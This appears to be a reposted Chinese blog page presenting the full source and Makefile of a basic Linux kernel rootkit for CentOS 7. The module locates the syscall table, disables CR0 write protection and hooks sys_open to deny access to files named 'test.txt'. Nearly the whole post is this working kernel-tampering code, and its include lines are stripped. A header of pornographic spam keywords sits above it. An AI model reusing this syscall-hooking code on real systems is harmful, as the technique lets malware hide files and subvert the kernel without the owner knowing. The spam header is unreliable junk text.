日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux文件读保护,Linux Rootkit实现文件保护

發布時間:2023/12/4 linux 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux文件读保护,Linux Rootkit实现文件保护 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一個非常基礎的rootkit,禁止讀取指定文件

編譯系統:

CentOS 7

uname -r

3.10.0-957.21.3-el7.x86_64

#include

#include

#include

asmlinkage long(*real_open)(const char __user *filename, int flags, unsigned short mode);

unsigned long **syscall_table = NULL;

char buf[1024] = { 0 };

unsigned long get_syscall_table(void)

{

unsigned long ptr = 0;

unsigned long *p = NULL;

for (ptr = (unsigned long)sys_close;

ptr < (unsigned long)&loops_per_jiffy;

ptr += sizeof(void*))

{

p = (unsigned long*)ptr;

if (p[__NR_close] == (unsigned long*)sys_close)

{

return (unsigned long)p;

}

}

return NULL;

}

void disable_wp()

{

unsigned long cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

}

void enable_wp()

{

unsigned long cr0 = read_cr0();

set_bit(16, &cr0);

write_cr0(cr0);

}

asmlinkage long fake_open(const char __user *filename, int flags, unsigned short mode)

{

int len = strnlen_user(filename, sizeof(buf));

long ret = copy_from_user(buf, filename,len);

//禁止訪問指定文件

if (ret == 0 && strstr(buf, "test.txt") != NULL)

{

return -1;

}

return (*real_open)(filename, flags, mode);

}

static int rootkit_init(void)

{

printk("driver start..\n");

syscall_table = (unsigned long**)get_syscall_table();

printk("syscall_table:%llx\n", syscall_table);

if (syscall_table == NULL)

{

return 0;

}

disable_wp();

real_open = (void *)syscall_table[__NR_open];

syscall_table[__NR_open] = (unsigned long)fake_open;

enable_wp();

return 0;

}

static void rootkit_exit(void)

{

printk("driver exit..\n");

if (syscall_table == NULL)

{

return;

}

disable_wp();

syscall_table[__NR_open] = (unsigned long)real_open;

enable_wp();

return;

}

module_init(rootkit_init);

module_exit(rootkit_exit);

MODULE_LICENSE("GPL");

Makefile:

obj-m = rootkit.o

K_DIR = $(shell uname -r)

PWD = $(shell pwd)

all:

make -C /lib/modules/$(K_DIR)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(K_DIR)/build M=$(PWD) clean

實現效果:

總結

以上是生活随笔為你收集整理的linux文件读保护,Linux Rootkit实现文件保护的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。